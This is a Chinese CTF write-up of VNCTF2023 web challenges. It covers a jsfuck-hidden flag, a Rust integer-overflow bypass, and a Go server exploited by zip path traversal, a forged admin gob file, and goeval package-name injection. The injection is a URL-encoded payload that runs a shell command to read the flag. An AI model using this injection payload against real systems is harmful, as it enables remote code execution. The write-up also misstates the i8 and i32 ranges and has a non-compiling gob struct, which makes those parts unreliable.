前言
近期参加了VNCTF2023,里面有两道web题是考察rust和go语言的,由于这两门语言之前从未接触过,比赛结束后借着师傅的wp复现一波,在此写文章记录一下。网上一位师傅的wp:
| https://www.cnblogs.com/nLesxw/p/VNCTF2023.html
 | 
根据此wp进行复现。
象棋王子
打开题目,前端象棋小游戏。
 
找js文件审计代码了解逻辑,在play.js中发现jsfuck编码,一看就是flag,直接放在游览器上运行出flag。
 
电子木鱼
给了附件,Rust语言做后端。Rust语言之前从来没接触过,比赛时边查文档边审。主要说一下几个路由,
| #[derive(Deserialize)]struct Info {
 name: String,
 quantity: i32,
 }
 #[derive(Debug, Copy, Clone, Serialize)]
 struct Payload {
 name: &'static str,
 cost: i32,
 }
 const PAYLOADS: &[Payload] = &[
 Payload {
 name: "Cost",
 cost: 10,
 },
 Payload {
 name: "Loan",
 cost: -1_000,
 },
 Payload {
 name: "CCCCCost",
 cost: 500,
 },
 Payload {
 name: "Donate",
 cost: 1,
 },
 Payload {
 name: "Sleep",
 cost: 0,
 },
 ];
 
 | 
不同的name对应所要扣除或者增加的功德。
| #[get("/")]async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
 let mut context = Context::new();
 context.insert("gongde", &GONGDE.get());
 if GONGDE.get() > 1_000_000_000 {
 context.insert(
 "flag",
 &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
 );
 }
 match tera.render("index.html", &context) {
 Ok(body) => Ok(HttpResponse::Ok().body(body)),
 Err(err) => Err(error::ErrorInternalServerError(err)),
 }
 }
 
 | 
定义GONGDE.get()为对应佛祖的功德,如果功德大于十亿,它就会给你flag。
| #[get("/reset")]async fn reset() -> Json<APIResult> {
 GONGDE.set(0);
 web::Json(APIResult {
 success: true,
 message: "重开成功,继续挑战佛祖吧",
 })
 }
 
 | 
清空所有路由,重点代码如下:
| #[post("/upgrade")]async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
 if GONGDE.get() < 0 {
 return web::Json(APIResult {
 success: false,
 message: "功德都搞成负数了,佛祖对你很失望",
 });
 }
 if body.quantity <= 0 {
 return web::Json(APIResult {
 success: false,
 message: "佛祖面前都敢作弊,真不怕遭报应啊",
 });
 }
 if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
 let mut cost = payload.cost;
 if payload.name == "Donate" || payload.name == "Cost" {
 cost *= body.quantity;
 }
 if GONGDE.get() < cost as i32 {
 return web::Json(APIResult {
 success: false,
 message: "功德不足",
 });
 }
 if cost != 0 {
 GONGDE.set(GONGDE.get() - cost as i32);
 }
 }
 
 | 
在此路由下,功德不能为负数,并且我们post上传的quantity参数不能小于0。起初我想利用Loan对应的cost一点点往上加功德直至十亿。这就要发包十万次,我写的python脚本很快就429了。这就是出题人留下的一个坑,由于对rust语言不了解,到比赛结束也没找到方法。最后看了那位师傅写的wp,有这么一个介绍rust语言特性的链接:Rust语言圣经
其中提到了Rust语言的整形溢出:
 
很明显本题是用补码循环溢出来解决整形溢出的这个问题,举个例子,对于一个i8的类型变量(整数范围在0~127)如果我们将其值加1,并得到了结果128,那么该值就会被映射回-128,从而形成了一个循环。类似地,如果我们将其值减1,并得到了结果-129,那么该值就会被映射回127,从而形成了另一个循环。本题漏洞代码:
这个累乘操作使得整形溢出成为可能。我们使name=Cost,则可以让quantity变量扩大十倍,造成整形溢出。Rust语言通过补码循环溢出可将该值映射到绝对值比十亿要大的负数了,这样也能成功绕过佛祖的作弊检测。那该让quantity赋值多少呢?不能太大也不能太小,i32的变量最大值为4294967295,在此赋值为25亿,发包后确实能够加功德。
 
刷新根路由,成功达到功德无量,佛祖给你flag。
 
BabyGo
这道题相关考点:
1.go语言代码审计
2.filepath.Clean函数目录穿越漏洞
3.go的函数沙箱逃逸
go语言做后端,题目源码:
| package mainimport (
 "encoding/gob"
 "fmt"
 "github.com/PaulXu-cn/goeval"
 "github.com/duke-git/lancet/cryptor"
 "github.com/duke-git/lancet/fileutil"
 "github.com/duke-git/lancet/random"
 "github.com/gin-contrib/sessions"
 "github.com/gin-contrib/sessions/cookie"
 "github.com/gin-gonic/gin"
 "net/http"
 "os"
 "path/filepath"
 "strings"
 )
 type User struct {  #定义一个User结构体
 Name  string
 Path  string
 Power string
 }
 func main() {
 r := gin.Default()  #创建Gin框架实例
 store := cookie.NewStore(random.RandBytes(16))#随机cookie
 r.Use(sessions.Sessions("session", store))
 r.LoadHTMLGlob("template/*")#加载模板
 r.GET("/", func(c *gin.Context) {
 userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
 session := sessions.Default(c)
 session.Set("shallow", userDir)
 session.Save()
 fileutil.CreateDir(userDir)#创建目录
 gobFile, _ := os.Create(userDir + "user.gob")#创建文件
 user := User{Name: "ctfer", Path: userDir, Power: "low"}
 encoder := gob.NewEncoder(gobFile)
 encoder.Encode(user)
 if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
 c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
 return
 }
 c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
 })
 
 r.GET("/upload", func(c *gin.Context) {
 c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
 })
 r.POST("/upload", func(c *gin.Context) {
 session := sessions.Default(c)
 if session.Get("shallow") == nil {#不能为nil
 c.Redirect(http.StatusFound, "/")
 }
 userUploadDir := session.Get("shallow").(string) + "uploads/"
 fileutil.CreateDir(userUploadDir)#创建目录
 file, err := c.FormFile("file")
 if err != nil {
 c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
 return
 }
 ext := file.Filename[strings.LastIndex(file.Filename, "."):]
 if ext == ".gob" || ext == ".go" {
 c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
 return
 }#不能上传gob和go
 filename := userUploadDir + file.Filename
 if fileutil.IsExist(filename) {
 fileutil.RemoveFile(filename)#如果存在删除
 }
 err = c.SaveUploadedFile(file, filename)
 if err != nil {
 c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
 return
 }
 c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
 })
 r.GET("/unzip", func(c *gin.Context) {
 session := sessions.Default(c)
 if session.Get("shallow") == nil {
 c.Redirect(http.StatusFound, "/")
 }
 userUploadDir := session.Get("shallow").(string) + "uploads/"
 files, _ := fileutil.ListFileNames(userUploadDir)#获得文件后缀
 destPath := filepath.Clean(userUploadDir + c.Query("path"))
 for _, file := range files {
 if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
 err := fileutil.UnZip(userUploadDir+file, destPath)
 if err != nil {
 c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
 return
 }
 fileutil.RemoveFile(userUploadDir + file)
 }
 }
 c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
 })
 r.GET("/backdoor", func(c *gin.Context) {
 session := sessions.Default(c)
 if session.Get("shallow") == nil {
 c.Redirect(http.StatusFound, "/")
 }
 userDir := session.Get("shallow").(string)
 if fileutil.IsExist(userDir + "user.gob") {
 file, _ := os.Open(userDir + "user.gob")
 decoder := gob.NewDecoder(file)
 var ctfer User
 decoder.Decode(&ctfer)
 if ctfer.Power == "admin" {
 eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
 if err != nil {
 fmt.Println(err)
 }
 c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
 return
 } else {
 c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
 return
 }
 } else {
 c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
 return
 }
 })
 r.Run(":80")
 }
 
 | 
相关路由介绍:
根路由,创建用户目录设置session,创建一个一个名为 “user.gob” 的文件,然后将一个名为 “ctfer” 的用户对象编码并写入 “user.gob” 文件中。gob文件可以理解为go的二进制文件,用于传输。
upload路由,限制我们上传的文件后缀不能为go或者gob。上传成功返回文件路径。
/unzip路由将我们上传的zip文件进行解压。
/backdoor路由,从session中获取shallow值,并且判断user.gob文件是否存在,存在就会解码其中的数据,判断用户权限,并执行Eval函数,这段代码的作用是提供一个后门,允许管理员在服务器上执行任意的Go代码。
审计完代码,我们想到的思路就是怎么样去覆盖user.gob文件进行权限提升来RCE。
目录穿越覆盖user.go文件
那么首先第一步,去覆盖user.go文件来提升权限。根据读代码,
| r.GET("/", func(c *gin.Context) {userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
 .....
 gobFile, _ := os.Create(userDir + "user.gob")#创建文件
 user := User{Name: "ctfer", Path: userDir, Power: "low"}
 .....
 c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
 
 | 
在根路由下,生成一个临时目录,在此目录下创建一个user.gob文件,将目录路径显示在当前页面。再看我们upload路由下上传的路径。
| userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"session := sessions.Default(c)
 session.Set("shallow", userDir)
 .......
 userUploadDir := session.Get("shallow").(string) + "uploads/"
 
 | 
所以说,我们上传的目录在user.go当前目录的子目录,所以需要目录穿越,在unzip路由代码中,filepath.Clean函数存在目录穿越漏洞。filepath.Clean函数将路径名进行规范化,具体功能为:
 
这个函数本身是没有任何问题的,若在此没有做任何限制,攻击者通过构造特殊的输入路径名,来访问系统上其没有权限访问的文件或目录,举个例子,filepath.Clean(“/var/www/“ + filePath),当filePath为”../etc/passwd”,拼接后的路径为/var/www/../etc/passwd。在路径名规范化时,路径就会整合成/var/etc/passwd。了解原理后,可以在上传路径添加几个../来导致穿越。接着,编写gob文件,我根本不会。直接去问AI了,当然,下面这个网站也介绍了,还是感觉没有AI方便。Go语言二进制文件的读写操作
| package mainimport (
 "encoding/gob"
 "fmt"
 "os"
 )
 
 type User struct {
 Name string
 path string
 Power string
 }
 func main() {
 
 userdir:= "/tmp/4960cd5dcd3379599fa2d23ce376115b/"
 file, err := os.Create("./user.gob")
 if err != nil {
 fmt.Println("Failed to create file:", err)
 return
 }
 defer file.Close()
 
 encoder := gob.NewEncoder(file)
 
 User := User{Name: "ctfer", Path: userdir, Power: "admin" }
 
 if err := encoder.Encode(User); err != nil {
 fmt.Println("Failed to encode person:", err)
 return
 }
 fmt.Println("Person data has been written to person.gob")
 }
 
 | 
话不多说,先上传试试。
 
打印出Good,成功覆盖掉user.gob文件。
函数逃逸RCE
只打印出Good是远远不够的。该怎么RCE才是我们最终的目的。题目代码中给了一种后门代码:
| eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
 | 
第一个参数,表示代码执行的环境变量,一般为空。第二个参数,需要被执行的代码。第三个参数为导入的包名。从代码上看,我们只能控制包名,通过沙箱逃逸来RCE,相关链接:go沙箱逃逸
漏洞利用可以看看这位师傅的文章:goeval代码注入导致远程代码执行
引用相关例子说明一下,如下代码:
| Package := "fmt\"\n)\nfunc\tinit(){\nfmt.Print(\"我是init\")\n}\nvar\t(\na=\"1"res, _ := eval.Eval("", "fmt.Print("123")", Package)
 fmt.Println(string(res))
 
 | 
其中\t代替空格,注入init()函数,因为它比main函数先调用。而在函数内部是这样的:
| package mainimport (
 "fmt"
 )
 func    init(){
 fmt.Print("我是init")
 }
 var		(
 a="1"
 )
 func main() {
 fmt.Print(123)
 }
 
 | 
代码执行最先会打印出我是init。就利用这个闭合原理来构造恶意代码。就借用开头那位师傅的payload。
| os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt
 | 
此代码整合后大概是这样:
| package mainimport (
 "fmt"
 "os/exec"
 )
 func init() {
 cmd := exec.Command("/bin/sh", "-c", "cat /f*")
 res, err := cmd.CombinedOutput()
 fmt.Println(err)
 fmt.Println(string(res))
 }
 const (
 Message = "fmt"
 )
 
 | 
将此代码传进去得到ASCLI
 
解码得到flag字符串。
结语
第一次参加VNCTF,web题目对于我来说挺新颖奇特。也借着这次比赛接触到了rust和go语言相关安全,最后一道web禅道cms的代码审计最新版,以往的禅道cms我还没有审计过,更别提最新版了。等有时间也要审计一下禅道系列。总之,这次比赛收获颇多。